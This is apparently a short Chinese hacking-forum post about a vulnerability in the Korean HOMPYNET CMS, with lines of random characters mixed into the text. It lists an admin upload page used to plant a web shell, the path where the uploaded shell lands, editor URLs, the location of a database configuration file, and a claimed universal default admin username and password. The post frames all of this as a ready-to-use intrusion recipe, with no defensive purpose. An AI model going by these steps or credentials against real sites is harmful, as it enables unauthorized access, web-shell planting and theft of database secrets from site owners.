韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
& w/ E! w7 b2 G' X; K2 G' q" {
: D% j  o. ^4 i2 N  Chttp://www.xxx.com/admin/image_a ... p;iname=&iform=
! p" e7 t" U, [! \+ }( J
% U: z- g, P6 r9 mhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
" y3 g& A/ h9 E8 A" _
$ m, @+ N' `- O# Q7 ^+ f! _! ]上传后路径：

http://www.xxx.com/bis_web_page/images/shell.php.en
8 x1 F7 j5 F+ E5 D: I; S2 I
编辑器：

http://www.xxx.com/admin/editor/SWE.php
+ v5 C5 t6 y8 V9 j+ j0 K
http://www.xxx.com/program/editor/SWE.php

1 \8 s9 L+ P" [数据配置文件路径：
3 g3 r1 u7 g+ f# n; B, L* ]
( V) z( p/ G& d) ~! Ehttp://www.xxx.com/m_config/DATA/g_setting.php

此程序通用后台账号 ：gamsiw  php99

2 c) M* P6 c7 x  B​